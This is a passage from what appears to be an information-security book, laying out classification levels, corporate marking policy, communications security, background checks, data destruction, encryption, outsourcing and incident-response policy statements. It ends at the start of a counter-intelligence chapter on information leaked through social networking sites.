strange odor.\n•\nIt has an oily or crystalline residue on the package.\n•\nIt is secured with excessive string or tape.\n" }, { "page_number": 235, "text": "PROTECTIVELY MARKED OR CLASSIFIED GDI MATERIAL\n213\nProtectively Marked or Classified GDI Material\nIn the government, defense and intelligence (GDI) arena, the practice of\nassigning different levels of security classification to information (whether\nwritten notes, printed reports or data held in information systems) based\non its sensitivity is very familiar. The levels of classification dictate how\nthe information is shared, stored and accessed.\nIn the GDI arena, it is common practice to limit access to such material\nbased on the level of security clearance held by an individual. The\nspecifics of security clearances are discussed in the appendices, however\none common thread is that, regardless of the nature and sensitivity of the\ninformation, it should be made available only to those who have a need\nto know. The concept of ‘need to know’ is more critical to the protection\nof information than anything else.\nIn the UK public sector, material that carries an official classification\nis referred to as being ‘protectively marked’; in the United States, it’s\nsimply referred to as ‘classified’. Both governments, though their security\nclearance procedures are very different, use broadly the same categories\nof data classification. They are discussed in the following sections, from\nlow to high classification.\nUnclassified or Unmarked\nThis is not a classification per se, but a formal declaration that the content\nmay be viewed by staff without a security clearance, assuming of course\nthey have the requisite need to know. Sometimes documents bearing an\nUnclassified marking may be available to the general public.\nOne example is the notes for the CESG CHECK Assault Course (a British\ngovernment security accreditation we discuss in Appendix E). This doc-\nument can be viewed by anybody at http://www.cesg.gov.uk/products\nservices/iacs/check/media/assault course notes.pdf.\nRestricted\nThis is the first level of classification. It is widely used in the UK to\ncover documents and interdepartmental notes that don’t contain any-\nthing particularly sensitive but which the author may not want publicly\navailable (or which may be embarrassing). Although, in theory, low-level\nsecurity clearance is required to view documents marked Restricted,\nit is common practice for security controllers to make them available\nto anyone within a department that has a need to know the contents.\nFor example, a memo sent to List-X companies by the intelligence\n" }, { "page_number": 236, "text": "214\nINTRODUCING SECURITY POLICY CONCEPTS\nservices about possible elevated terrorist activity would be marked\nRestricted.\nIn the United States, this level of classification has not been domestically\nused since World War II (although it is used by NATO in the same\nway as the UK government). To confuse matters, the US government\nuses Restricted as a blanket term to cover secret or classified material in\ngeneral or to refer to technology or knowledge that is ‘restricted’ by its\nnature (nuclear secrets, for example).\nConfidential\nThe next level of classification is Confidential (in the United States, also\nreferred to as Level 1 classification). This is information that would be\n‘prejudicial’ or ‘damaging’ if released. As different departments make use\nof classifications in different ways, it can be difficult to gauge exactly\nwhat ‘damaging’ means. However, in practice in the United Kingdom,\nConfidential is used mainly by law enforcement rather than intelligence.\nIt is information that is too high for general distribution and too low\nfor national security. The following information would be marked as\nConfidential:\n•\nSpecial Branch intelligence data (known as target packages) on violent\nanimal rights activists;\n•\nThe data held on the national DNA database;\n•\nCertain government computer networks in their entirety.\nSecret\nAt Secret (or Level 2) classification, things start to get a little more inter-\nesting. This is information that if released would cause ‘grave damage’\nto national security. Anything marked Secret or above is ‘limited distri-\nbution’ (also known as originator controlled – ORCON – in the United\nStates).\nAll copies of a Secret document are numbered and records are kept of\nwho has been given access. The vast majority of defense-related material\nis classified as Secret as is the stuff the UK government would really like\nto keep secret from its citizens. Examples include:\n•\nPerformance and safety records on the Euro Fighter project;\n•\nTechnical specifications for national identity cards (subsequently left\non a train and found by a journalist);\n•\nMilitary budgeting.\n" }, { "page_number": 237, "text": "PROTECTIVELY MARKED OR CLASSIFIED GDI MATERIAL\n215\nTop Secret\nDespite the mystique surrounding the words Top Secret, very little is\nactually classified at this level, at least compared to Secret. The sheer\nlogistics of clearing staff to view Top Secret material is prohibitive for a\nlot of purposes.\nMuch of what is classified as Top Secret is not so much due to the\ncontent as the way it was obtained or for some other quite unexpected\nreasons. For example, I once saw photographs taken from a spy plane\nthat contained nothing but barren rocks marked as Top Secret because\nan experienced analyst would be able to deduce information about the\ncapabilities of the plane itself from these photos. Other examples of Top\nSecret documentation include:\n•\nShort-term tactical military data;\n•\nScientific experiments likely to cause a public outcry, for example, the\nuse of goats in decompression chambers to create survival scenarios\nfor military divers;\n•\nCode-breaking capabilities.\nTop Secret is the highest official protective marking for most Western\ncountries. However, Top Secret is in itself tiered (in the United Kingdom,\nthese are called STRAP levels) and certain projects in the past have been\ncarried out well above this level, an example being the Bletchley Park\ncode-breaking effort during World War II where British scientists cracked\nthe German Enigma codes. That project is now referred to as Ultra Secret.\nThe official UK government definition of its protective marking system\nmay be found at http://www.cabinetoffice.gov.uk/media/cabinetoffice/\ncorp/assets/foi/classifications.pdf.\nCode Word Clearance\nProtectively marked data may be further compartmentalized through the\nuse of Code Words. These further limit the distribution of documentation.\nCode words are used in both the United Kingdom and the United States\n(though the United States has many more). They may refer to a specific\nproject that requires members to undergo a separate clearance procedure\nor to specific restricted technologies, or they may be nationality caveats\nthat restrict information based on country of origin. Examples include:\n•\nUK EYES ONLY – Only to be distributed among those of British\nnationality;\n" }, { "page_number": 238, "text": "216\nINTRODUCING SECURITY POLICY CONCEPTS\n•\nNATO SECRET – Available only to those in NATO countries locally\ncleared to Secret and above;\n•\nLOCSEN – Local sensitivity, i.e. not for release to local officials;\n•\nATOMAL – Information on nuclear weapons technology;\n•\nDEDIP – Only to be shown to named officials;\n•\nNOFORN – No foreign nationals (hilariously interpreted as ‘No For-\nnication’ by Cliff Stoll in his 1989 book The Cuckoo’s Egg);\n•\nLES – Law-enforcement sensitive.\nProtective Markings in the Corporate World\nThe information in the previous section is critical to anyone performing\nsecurity work for GDI. However, many commercial organizations also\nimplement a system of protective marking, albeit far less complex and\nofficious and this is something I strongly encourage. The perfect place to\ncodify this system is, of course, within the security policy. The following\nexamples of commercial classifications are common, though of course\nthey vary dramatically between different organizations depending on\ntheir needs. Protective markings should be clearly added at both the top\nand the bottom of documents and on the title page or fax cover page.\nProtective markings for emails are somewhat more complex as sensitive\nemails are most likely encrypted. In any case, sending sensitive data via\nemail should be avoided unless in an encrypted attachment, in which\ncase the above rules apply.\nCompany Confidential\nEmails and documents are most likely to carry this marking. Company\nconfidential makes it clear that the contents relate to company business\nand that dissemination is restricted to company staff. This marking should\nbe used for companywide announcements, discussions and manuals\nrelating to operating procedures and business practices, and anything that\nis not specifically project sensitive. Leaking information that is Company\nConfidential should be a disciplinary matter; however, large companies\nshould be aware that this will in no way prevent leaks from happening.\nRestricted Distribution\nInternally sensitive projects should be marked as ‘Recipient Eyes Only’.\nEvery copy should be numbered and the distribution list should be tightly\ncontrolled. Such documents are likely to contain business secrets or\n" }, { "page_number": 239, "text": "PROTECTIVE MARKINGS IN THE CORPORATE WORLD\n217\ncommercial data, the loss of which would be financially damaging for the\ncompany. Other documents that could potentially be marked Recipient\nEyes Only include corporate-level strategic plans, memos, financial data,\nand purchasing information.\nCommercial in Confidence\nThis marking is generally used when businesses communicate sensitive\ninformation to each other. The most common example is consultancy\ndeliverables for work contracted to a third party. Companies should\nrequire all third parties they engage for consultancy services to sign a\nnondisclosure agreement, a clause of which is that all communications\nwill be marked Commercial in Confidence.\nRestricted Pre Embargo\nThis marking is in principle the same as ‘Recipient Eyes Only’ except that\ndata is classified for a fixed period of time. This is common in companies\nthat wish to keep product information out of the media until the official\nlaunch date.\nCorporate Marking Policy\nThe following policy statements can be included in a security policy:\n•\nProtective markings are assigned primarily on the basis of the sensitiv-\nity level of the data but may also be determined by business area and\ncontractual obligation. It is important to ensure that the classification\nlevel assigned to particular information is appropriate. One should\ntake into account the need to reclassify information throughout its\nlifecycle.\n•\nAll confidential documents should be clearly marked as such on the\nfront cover and on every page both above and below the text body.\n•\nConfidential documents should be kept secure when not in use and\nnever left on one’s desk. Documents marked Company Confidential\nand Commercial in Confidence should be stored in a locked drawer\nor cupboard. Storage of project-specific documentation is at the\ndiscretion of the project leader.\n•\nAny copies made of or derived from protectively marked docu-\nments must carry the same protective marking. No copies of limited\ndistribution material should be made without permission of the author.\n•\nProtectively marked information that is held in electronic format\nshould only be printed when necessary to minimize extant copies.\n" }, { "page_number": 240, "text": "218\nINTRODUCING SECURITY POLICY CONCEPTS\nI expand on the themes covered here in the next section, where I discuss\nthe various elements of communication security. The complexity and\nrequirements of the protective marking system should become clear.\nCommunications Security\nCommunications refers to the plethora of technology used every day\nin business. Every form of communications technology has potential\nfor abuse as a channel of attack. It is crucial that writers of the security\npolicy understand these threats and document them in the security policy.\nIssues may be due to the nature of the technology itself or may come\nabout as a result of poor security practices. In any case, educating the\nuser and enforcing the policy will go a long way to mitigating exposure.\nCommunications technology has come a very long way in the last 10 years\nand, with the ubiquitous nature of the Internet, the term itself can refer to\nthings that the author of a security policy might not even have considered.\nSecuring Telephone Use\nThe purpose of a telephone security policy is to ensure that staff:\n•\nVerify the identity of callers and those they call;\n•\nKnow what can and cannot be discussed over the telephone;\n•\nTake measures to protect information exchanged over the phone in\nan appropriate manner.\nA lot of this is obvious but some is more subtle. Nevertheless, best prac-\ntice dictates documentation of and adherence to a telephone security\npolicy. Whereas protecting against social-engineering attacks is an obvi-\nous concern, it is far from the only problem when you consider things\nlike voicemail. When you introduce voice-over-IP (VoIP), the boundaries\nbetween technologies and, indeed, organizational barriers become even\nmore blurred. The following statements address telephone security policy:\n•\nSpeaker phones should not be used when discussing sensitive topics\nor projects.\n•\nStaff should avoid discussing sensitive information within earshot of\nthose not specifically cleared for the project in question.\n•\nThe use of public VoIP services (unless specifically approved) is\nprohibited for company business.\n•\nPasswords and other privileged access information should never be\nprovided over the telephone. Any such requests should be immedi-\nately reported to your line manager.\n" }, { "page_number": 241, "text": "COMMUNICATIONS SECURITY\n219\n•\nConfidential company information such as phone lists, internal phone\nnumbers or information on staff should never be provided to callers.\nForward all such requests to reception.\n•\nVoicemail boxes should be secured with an access code known only\nto the user and changed regularly.\n•\nSensitive information should never be left as a voicemail message,\nregardless of the recipient.\nSecuring Email Use\nIn many organizations, email is the number one entry point for viruses,\nTrojan horses and other threats to information security. However, many\nother problems can arise: sensitive information can easily be leaked –\neither deliberately or accidentally – and email is a powerful tool for\nsocial engineering given the ease with which addresses can be faked and\nindividuals impersonated. The following list of privacy statements is a\nbare minimum with an emphasis on security.\n•\nEmail is not suitable for the long-term storage of documentation.\nPersonal email accounts should never be used to store, process, send\nor receive company email.\n•\nBusiness email should not be utilized for personal use.\n•\nAll incoming and outgoing email should be scanned for viruses and\nother malicious content. At no time should email be used to send or\nreceive programs or other executable files. In any case, such content\nwill be removed by the mail server.\n•\nWhen sending data via email, users should utilize discretion and\nconfidentiality equal to or exceeding that which is applied to physical\ndocuments.\n•\nInformation considered confidential or sensitive must be protected\nduring transmission utilizing encryption appropriate to its protective\nmarking.\n•\nEmail addresses are easily faked. Ensure that the recipient is genuine\nbefore sending sensitive information. The use of encryption and trusted\npublic keys is a requirement for protectively marked material. If\nsomeone requests sensitive information and claims for any reason that\nthey are unable to receive encrypted files, it should be immediately\nreported to your line manager.\n•\nConfidential or sensitive information is to be distributed only to those\nwith a legitimate need to know. Distribution lists that do not keep\nrecipient lists private should be avoided.\nA complete email policy should also include libel and legal clauses that\nare not terribly interesting to us.\n" }, { "page_number": 242, "text": "220\nINTRODUCING SECURITY POLICY CONCEPTS\nSecuring Faxes\nFax security is often overlooked at operational and policy levels. This is\nnot entirely surprising when you consider how little fax is used these days\ncompared to email. However, everybody still needs to be able to send\nand receive faxes and their use can introduce security issues:\n•\nFaxes are not secure (i.e. encrypted) during transmission.\n•\nFaxes are not secure upon receipt – often a fax machine sits in a\npublic area where anyone can access it.\nAs usual a little awareness goes a long way, as will the following policy\nstatements:\n•\nFax machines should be located in secure areas accessible to autho-\nrized staff only.\n•\nStaff should verify the fax number of the recipient before transmitting.\n•\nA recipient of a document containing protectively marked information\n(e.g. for the recipient’s eyes only) must be notified by phone before\nthe document is transmitted.\n•\nIf possible, faxes should never be relayed on behalf of a third party.\nHowever if required, adequate proof of identify should be obtained\nfrom the requestor.\n•\nPasswords and other privileged access information should never be\nsent by fax.\nSecuring Instant Messaging\nInstant-messaging (IM) software is another area that has seen massive\nproliferation in recent years to the point where everyone is running at\nleast one IM client on their desktop both in and out of the office. Some\ncompanies have gone so far as to adopt a particular IM technology as\nan official or semi-official means of quickly exchanging information (and\nmanagers like to be able to look at a list of names and see who is at\ntheir desks). There is nothing intrinsically wrong with this as long as the\nrisks are understood, which unfortunately is rarely the case. For example,\nI’ve seen several companies using MSN Live Messenger as their IM client\nnot realizing that this relays messages across the Internet, unencrypted,\neven if the sender and recipient are sitting next to each other on the same\nnetwork behind a firewall. Another problem is that if an attacker is able to\nobtain the password for a user’s IM account (which with MSN could be\nas simple as hacking their hotmail account), they have instant access to\nall their contacts; a social engineer could exploit this to obtain privileged\ninformation.\n" }, { "page_number": 243, "text": "STAFF BACKGROUND CHECKS\n221\nHaving knocked MSN, I feel duty bound to offer a solution if you’re using\nit. SimpLite software is freely available for home or commercial use and\nadds end-to-end encryption for several IM clients (including MSN Live\nMessenger). You can download it from www.secway.fr.\nHowever instant messaging is used within your organization, some men-\ntion should be made of it in the security policy, if only to reiterate what\nwe’ve said for previous technologies:\n•\nPasswords and other privileged access information should never be\nsent via instant messaging.\n•\nUsers should verify the identity of any users they add to their contacts\nlist.\n•\nSudden or inappropriate requests for privileged information should be\nimmediately referred to your line manager.\n•\nNo attachments should be sent or received via instant messaging.\n•\nDon’t allow your instant-messaging program to remember your pass-\nword or automatically sign in to your account.\n•\nDon’t automatically accept incoming messages from sign-in names\nthat are not on your contact list. If someone wants to begin to\ncommunicate with you via instant messaging, they should email you\nor phone you to exchange sign-in names.\n•\nDon’t click links sent to you in a message, even if they appear to be\nfrom someone you know.\nStaff Background Checks\nPersonnel security policy covers a raft of matters that relate directly to\nyour staff and their responsibilities and obligations within the company to\nprotect information and promote information security in general. Quite a\nlot of this has already been covered in this chapter. This section discusses\nthe recruitment process, where the practice of personnel security is first\napplied.\nBackground checks have become absolutely critical in the hiring process\nand not only in areas where the candidate will have access to sensi-\ntive information. There are several reasons why background checks are\nconducted:\n•\nTo confirm information given during the recruitment process. At\nthe very least, this should confirm the identity of the candidate,\nqualifications held, and employment history.\n•\nDue diligence to prevent lawsuits that may arise as a result of hiring\npeople who have misrepresented themselves.\n" }, { "page_number": 244, "text": "222\nINTRODUCING SECURITY POLICY CONCEPTS\nOutside of public sector positions, where formal security clearance\nprocedures may be applied (see the appendices), background checking\nis performed by the organization’s own Human Resources department\nor (more likely) outsourced to a company that specializes in this kind\nof work. Background checks have to be cost effective and completed\nquickly so obviously there are a lot of things it is simply not going to be\npossible to find out. However, at a minimum, the following information\nshould be validated:\n•\nEmployment history – Pay particular attention to gaps in employment.\nIt is not sufficient that the dates match up. Ensure that the job titles\nspecified on an applicant’s r´esum´e are accurate.\n•\nProfessional certification – Check the validity and status.\n•\nAcademic qualifications – Check the validity of qualifications at\ndegree level and above. Anything below degree level is not really\nimportant, but always verify institutions attended, dates, degree\nnames, and grades. Don’t simply believe any transcripts or impres-\nsive documents you’re given. Those can be put together in about 10\nminutes. Student transcripts are available from university offices.\nSome companies are rigorous about obtaining references but, above and\nbeyond employment validation, they aren’t worth a lot in my experience\nand one should not give them too much weight either way.\nIf there is sufficient time (and requirement), an organization may also\nwish to request information on the following:\n•\nCredit history – Someone with a history of debt management prob-\nlems may be intrinsically unreliable or vulnerable to outside financial\ninducement.\n•\nCriminal record – For obvious reasons.\nLaws vary regarding what information an employer can request from\na prospective employee. In the United Kingdom, for example, (most)\ncriminal convictions can be withheld from an employer after a fixed\nperiod of time; in the Netherlands, the state can provide background\nchecks that are specifically tailored to the position.\nIdeally, all new hires should be subject to some form of background check\nthough this is not always possible. Background checks should certainly\nbe performed in the following circumstances:\n•\nThe organization is involved in consultancy work and deals with\nconfidential client data.\n•\nThe employee would have access to confidential data.\n•\nThe employee would have access to financial or payroll data.\n" }, { "page_number": 245, "text": "DATA DESTRUCTION\n223\nRemember, it is a lot simpler and better for everybody if employers know\nwho they are hiring (or turning down) up front rather than six months or\na year down the line, even if it takes a bit of time and inconvenience.\nData Destruction\nIf organizations formalized (and followed) the actions laid out in this\nsection it would make the lives of criminals and social engineers (and\npenetration testers) a lot harder. Sadly, most don’t. This leads to confi-\ndential data on paper, digital media or hard drives falling into the wrong\nhands on a regular basis. I won’t repeat the points I made in Chapter 6\nbut I will lay out firm guidelines for each type of media.\nDisposing of Data on Digital Media\nToo many companies throw hard drives in the trash when they’ve reached\nthe end of their life or there’s no room left in the cupboard for old kit that\nno one’s going to use again. Very few bother to erase the contents first,\nalthough a few might perform a cursory format (which erases little). Then\nthere are the companies that sell their old storage media on EBay. This\nis not the wisest idea. If you really must sell old equipment, ensure that\nthe drives are cryptographically scrubbed using a tool such as DBAN (see\nChapter 6 for further details.)\nThe following policy statements can help protect discarded data:\n•\nFloppy disks, USB drives and magnetic tapes should be cryptographi-\ncally scrubbed before reuse using [insert preferred tool]. If physically\ndefective, the disks should be destroyed by incineration.\n•\nCDs and DVDs should be shredded or cut into quarters before\ndisposal.\n•\nHard drives should be cryptographically scrubbed before reuse using\n[insert preferred tool]. If physically defective, these disks should be\ndestroyed by incineration.\nDisposing of Data on Paper\nIt is critical that paper waste is handled securely, especially because so\nmuch more of it is consumed than digital media. Handwritten notes,\nwhich might contain anything from phone numbers and passwords,\nthrough to confidential draft reports must all be disposed of safely. One\nof the things that I would encourage most is to minimize the use of paper\nwhere possible. However, a paperless office is a pipe dream and therefore\n" }, { "page_number": 246, "text": "224\nINTRODUCING SECURITY POLICY CONCEPTS\ndisposing of sensitive information really is everybody’s problem. Consider\nthe following security policy statements:\n•\nPaper must not be put into the ordinary waste-paper bins, as there is a\npossibility that the information may identify an individual or contain\nbusiness data.\n•\nIf the information is deemed to be confidential it is necessary to shred\nit into very small pieces prior to placing in the confidential waste\nreceptacle provided.\n•\nOnly the cross shredders provided by [insert preferred vendor] are to\nbe used for the secure destruction of paper. Unauthorized shredding\nequipment provides an insufficient degree of assurance in line with\nthis policy.\nData Encryption\nIn the event that a laptop or USB drive is lost or stolen, usually the first\nconcerns raised involve the data it contains rather than the financial loss\ncaused by the equipment itself. At least I would hope so. There are a\nnumber of technical solutions to ensure that even if a laptop or other\nmedia is stolen it is impossible to retrieve its contents. Such solutions\nrange from securing files, directories and partitions to encrypting the\nentire hard drive and I strongly recommend the latter.\nA popular ‘solution’ at present is the use of ATA passwords, which lock\nthe platters of the hard disk itself to prevent access to data. However,\nthis is trivial to bypass and the underlying data itself is not encrypted. It\nshould never be relied upon.\nDeploying hard-disk encryption across the enterprise will greatly increase\nyour peace of mind when it comes to data security but will certainly\nincrease your user support work load. Therefore it is essential that\nusers receive the training they need in this technology and that its\nimplementation is formalized in the security policy. The following policy\nstatements are suggested:\n•\nAll user equipment comes with [insert preferred tool] hard-disk\nencryption installed. Users should not attempt to modify or tamper\nwith this installation but are required to use it as provided.\n•\nThe passwords and tokens required to access encrypted media should\nbe kept secret and not shared with other people, including other users.\n•\nAdditional non-networked volumes (such as USB storage devices)\nshould be integrated into [insert preferred tool]and encrypted. The\nlevel of encryption used may depend on the sensitivity of the data,\n" }, { "page_number": 247, "text": "OUTSOURCING RISKS\n225\nhowever users should always err on the side of a higher level of\nencryption than may be necessary.\nOutsourcing Risks\nOne common area of vulnerability (which is, in many ways, the hardest\nto address) is the question of how to manage risk when employing\ncontractors and outside firms to work with your information systems.\nOutsourcing used to be solely the provision of large companies but now\norganizations across the entire spectrum of the business world outsource\nat least some functions to a third-party provider and there are various\nrisks in doing so.\nIt’s not simply a question of whether or not the contractor is trustworthy\n– most are. When employing an expensive temporary resource (often for\nurgent work), there is often much less time to ensure that they are aware\nof and follow your security policies and treat your data with the same care\nyou would expect from full-time staff. Another concern is that although\nyou can legislate, in broad terms, what can and can’t be brought into the\ncompany, this is much harder to enforce in the case of contractors whose\nspecialist equipment may be required for the task in hand. Conversely,\nwhen employing a service provider for any task that involves processing\nyour data (which is likely to be confidential), it is critical to get assurance\nthat their own facilities and information systems have controls in place to\nensure security.\nIt’s tempting to think that this problem is related only to third-party\nproviders of computer and software services but this couldn’t be further\nfrom the truth. Any function that you outsource potentially puts your\n(or your client’s) data in unknown hands. Plenty of companies seem to\nhave no problem with Indian call centers packed with low-paid staff\ntaking credit card orders from customers or handling other confidential\ndata. This has led to some horrendous security breaches and many case\nof identity theft. Another slightly less relevant but highly amusing (and\nwell documented) incident occurred when a computer games publisher\noutsourced its art production to a development house in South-East Asia.\nIt wasn’t until the game was published that it became apparent that\nvirtually all of the artistic content had been stolen from other high-profile\ngames and films. You get what you pay for and these are the risks you\ntake when you place the well being of your company in the hands of\npeople you don’t know.\nThe following policy statements offer some guidelines for protection when\nthird-party outsourcing is used:\n" }, { "page_number": 248, "text": "226\nINTRODUCING SECURITY POLICY CONCEPTS\n•\nAll third parties are required to abide by company security poli-\ncies, rules, regulations and change-control procedures. The company\nwill provide the necessary tools to assist with compliance where\nrelevant.\n•\nThird parties are required to take any necessary steps to ensure the\nsecurity of company data with which they are entrusted. All data will\nbe handled in the manner appropriate to its protective marking. The\ncompany will provide third parties with the necessary tools, where\nrelevant.\n•\nThird parties must provide the company with a list of all employees\nworking on the contract. This list must be immediately updated on\nany changes.\n•\nAll third-party staff working on company projects may be subject to\nbackground checks or formal security clearances. Failure to obtain (or\nsubmit requested documentation for) a positive background check or\nsecurity clearance will preclude that staff member from working on\ncompany projects.\n•\nAll third-party staff members will return or destroy (where appropriate)\nall documentation they hold on request or when they depart the\nvendor.\n•\nAll third-party work should be uniquely identifiable to individual staff\nmembers. This will be enforced both procedurally and through access\ncontrol.\nIncident Response Policies\nIncident response policies dictate the steps that must be followed in the\nevent of a suspected security incident. An incident may take a number of\nforms from data loss to system compromise so it is important to perform\na risk analysis to determine your possible exposures and the escalation\nprocedures you will follow in the event of a suspected breach. The diverse\nnature of security incidents make responses harder to document but it’s a\nlot easier once you understand where potential risks exist.\nThe following occurrences may be considered as security incidents and\nclearly the ways in which they are handled are very different:\n•\nLost or Stolen Data – If any equipment, storage media or paper docu-\nmentation containing privileged, sensitive or confidential information\ngoes missing, this should be considered a security incident (in fact the\nmost common form thereof). Mitigating factors that would reduce the\nseverity or level of risk would include encryption. If a thief or a corpo-\nrate spy has a laptop full of company secrets but no way of retrieving\n" }, { "page_number": 249, "text": "INCIDENT RESPONSE POLICIES\n227\nthem, this is clearly less of a risk. This is one advantage of token-based\nauthentication. When a laptop is detected as lost or stolen, the token\ncan be destroyed to ensure there is no further possibility of accessing\nthe data.\n•\nAttempted Network Intrusion – Being under almost constant attack\nfrom the Internet is a fact of life. The types of attack vary but are\nmost likely to be other compromised computers looking for new hosts\nto attack. Good border security and patch policies negate the vast\nmajority of this traffic and there is little to be gained from escalating\nevery single port scan or buffer overflow attempt you see (if you deploy\nintrusion detection technology, a record should be kept of all attacks).\nIf you see repeated attacks from the same network ranges (and decent\nintrusion detection systems (IDS) will tell you if this is happening),\nyou should consider taking mitigating action such as blocking the\nrange itself at the firewall or notifying the relevant Internet service\nprovider.\n•\nSuspected or Confirmed Intrusion – If you believe that a computer\nor other device within your organization has been compromised, it\nshould be immediately removed from the network and the relevant\nforensic procedures applied. This is often beyond the capabilities\nof IT departments and the advice of specialists should be sought.\nHowever, compromised machines should, if possible, be retired and\nnot reconnected to the network. If this is not financially feasible, the\ndevice should be cryptographically scrubbed and rebuilt from the\noriginal installation media. The incidents that are most likely occur in\nthis category are the discovery of key loggers or Trojan horses which\nare usually installed by unwitting staff – although sometimes they are\ndeployed by staff for malicious reasons.\n•\nBreach of Physical Security – This may simply be a theft or burglary,\nin which case it should be treated as any other crime against property.\nHowever, if a security breach occurs in areas that contain computer\nequipment or network access, further steps may need to be taken\nas those investigating the breach should be aware that additional\nelectronic breaches may also have occurred.\nWhat steps a company follows and it response to security incidents is up\nto them, but I suggest that they ensure that their planning contains actions\nfor the following:\n•\nMaking an initial assessment based on primary evidence;\n•\nInvolving the relevant team members;\n•\nContaining the damage;\n•\nProtecting evidence, if appropriate;\n•\nAiming for minimum business disruption.\n" }, { "page_number": 250, "text": "228\nINTRODUCING SECURITY POLICY CONCEPTS\nSummary\nThis chapter introduced the concept of the security policy, what writing\none entails and the sorts of thing you need to think about. Writing a\nsecurity policy can be a tortuous exercise and, in practice, they tend\nto be developed over time as an organization comes to understand and\nrespond to the threats they face. Clearly, not everything in this chapter\napplies to everybody and different organizations will want to focus on\ndifferent aspects of this chapter according to their business requirements.\nThat said, it is good idea to at least touch upon each of the areas we’ve\ndiscussed.\nIn this chapter the following topics have been covered:\n•\nPhysical Security – Policy statements and advice relating directly to\nCCTV, perimeter security and badge security.\n•\nClassified Material – How to handle confidential and sensitive infor-\nmation and the direct relevance of protective markings in the corporate\nworld.\n•\nCommunications Security – Policy statements on areas relating to\ncommunications, including telephones and faxes but also instant\nmessaging, voice-over-IP and other technologies.\n•\nBackground Checks – Advantages and disadvantages, and what ques-\ntions you should be asking.\n•\nSecure Destruction of Data – How to dispose of or safely reuse\nelectronic media.\n•\nEncryption – When and where data encryption should be mandatory\n•\nOutsourcing – The risks and ensuring that third parties abide by your\nsecurity policies.\n•\nSecurity Incidents – What constitutes a security incident and how\nbest to respond to it.\n" }, { "page_number": 251, "text": "11\nCounter Intelligence\nThe ultimate in disposing one’s troops is to be without ascertainable shape.\nThen the most penetrating spies cannot pry in nor can the wise lay plans\nagainst you.\nSun Tzu, The Art of War\nThis book has discussed a number of different attacks and the ways they\ncan be deployed against an organization. This chapter wraps things up by\ncovering some of the ways organizations can protect themselves. By now\nyou surely realize that implementing security in all its forms can become\na monumental task and that nothing is truly secure. The best you can\never hope for is to mitigate risk as much as possible while maintaining a\nviable business model. The main risks can be categorized as follows:\n•\nExposure of information, usually inadvertently;\n•\nSocial engineering attacks against staff;\n•\nComputer and network attack;\n•\nPoor physical security;\n•\nPhysical intelligence gathering.\nNot every organization can expect to face all of these risks, at least\nnot equally. It is important for organizations to assess their level of risk\nbecause only then can they take steps to limit it. This book started with\nSun Tzu and I thought it appropriate to end it with another erudite quote\nfrom the man. It can be a little daunting to realize that protecting a\nbusiness and its interests from all the threats ranged against it can be\nlike preparing for battle. In a way though, this is precisely the right way\nto think about security: understand the enemy and predict his attacks;\nunderstand your weaknesses and seek to minimize them.\nThis chapter turns the focus around to analyze threats from the perspective\nof the business. Given the points above, what can be done to reduce these\n" }, { "page_number": 252, "text": "230\nCOUNTER INTELLIGENCE\nFigure 11.1\nIf alive today, Sun Tzu would probably work in information security.\nrisks? How can we mitigate information exposure and prevent damaging\nsocial engineering attacks? What steps can be taken to secure computers\nand networks from attack? There is no security panacea or magic pill but\nthese are things you need to think about.\nUnderstanding the Sources of Information Exposure\nOne of the biggest security headaches an organization can face is trying\nto control the flow of information. Information is power and in the wrong\nhands can be used in an attack. An organization should seek to minimize\nthe exposure of information and the impact that accidental exposure will\nhave. The first thing an attacker does after identifying a target is research.\nThis research mainly involves open and public sources of information\n(remember that 90% of information is publicly available). In the era\nof the Internet, it is possible to build a relatively complete profile of\na victim without leaving the house. If you are trying to protect your\ncompany or organization, put yourself in the mind of a corporate spy:\nWhat information would be useful to you? Where would you look for it?\nI’ve discussed a lot of this from the perspective of the attacker but, as far\nas security goes, the weak link in any chain is always people. Most people\nhave no concept of security, usually because they don’t appreciate the\n" }, { "page_number": 253, "text": "UNDERSTANDING THE SOURCES OF INFORMATION EXPOSURE\n231\nnature of risk or that risk even exists. Consequently, when you broach\nthe subject and challenge an employee’s lack of security awareness or\nviolation of security policy, his or her reaction is usually one of baffled\nincomprehension or indignation. Although a company has a degree of\ncontrol over the information it leaks about itself, it has very little control\nover what staff members choose to leak about themselves and, as I said\nin the introduction, most information exposures are inadvertent.\nInformation exposure can come in almost any form but the same problems\ntend to crop up again and again and that’s what I’ll cover in this section.\nFor example, social-networking sites were discussed in Chapter 6 as a\nviable means of gathering information on targets but the other culprits are\nwebsites (both corporate and personal) and any form of communication\nwhere you may not be entirely certain who you’re communicating with,\nfor example, IRC or instant messaging.\nSocial and Professional Networking\nVirtually everyone has some kind of Internet presence, whether it’s\na MySpace or Facebook page or a professional alternative such as\nLinkedIn. Oddly many people who complain about CCTV cameras, ID\ncards and other government-sponsored erosions of privacy are the biggest\nexhibitionists when it comes to sites like these.\nNetworking sites are a well of information, some of which can make\npeople vulnerable. One of the problems is that such sites promote\n‘contacts’ or ‘friends’ as status: the more you have, the better. I’m guilty of\nthis too, accepting any invitations to my LinkedIn profile so I seem really\nconnected when, in reality, I know or have met only a fraction of these\npeople. What’s the harm? Well, first, if someone is in your friends list,\npeople assume you know them and may use that connection to assign\nsomeone more trust than they deserve. Second, even private profiles\nare usually visible to your friends and on LinkedIn (and its equivalents)\nthis usually contains r´esum´es. Having an online r´esum´e is extremely\nconvenient for job seekers and employers (not to mention the worst\nform of bottom-feeder, the ‘recruitment consultant’). However, they’re\nalso very useful to other people: debt collectors, private investigators and\nsocial engineers. It’s possible to quickly locate lots of people who work\nfor a target company; this makes name-dropping exercises very simple,\nparticularly in big international companies where staff even in similar\npositions may not know one another. On more than one occasion, when\nlaunching a social-engineering attack, I’ve created fake LinkedIn profiles\nand used them as the sole form of credibility when introducing myself\nto people. My real LinkedIn profile has been used to research me when\ngoing to a job interview or a new client; as profiles go, it’s pretty accurate\nbut very rarely verified. This can be taken to extremes. LinkedIn profiles\n" }, { "page_number": 254, "text": "232\nCOUNTER INTELLIGENCE\ncan be created for a number of staff members at the same ‘company.’\nThis is not difficult to carry off in a convincing manner.\nSo, it’s a bad idea to put too much faith in what people write about\nthemselves. However, the bigger concern is how this impacts the orga-\nnization. Sometimes the most innocent comments on a blog can expose\nconfidential information or paint the company in a bad light. There have\nbeen plenty of cases where confidential pre-embargo product information\nhas been sufficiently hinted at online to cause competitors and journalists\nto take note – loose lips sink ships, and all that. There have also been sev-\neral cases where employees have been fired for saying unpleasant things\nabout their employer. Although I feel this is unfair, at least the company\nwas aware of what was being written about it. If, when implementing\nsecurity, you have to deal with incidents like this through disciplinary\nmeasures you’ve really already lost. 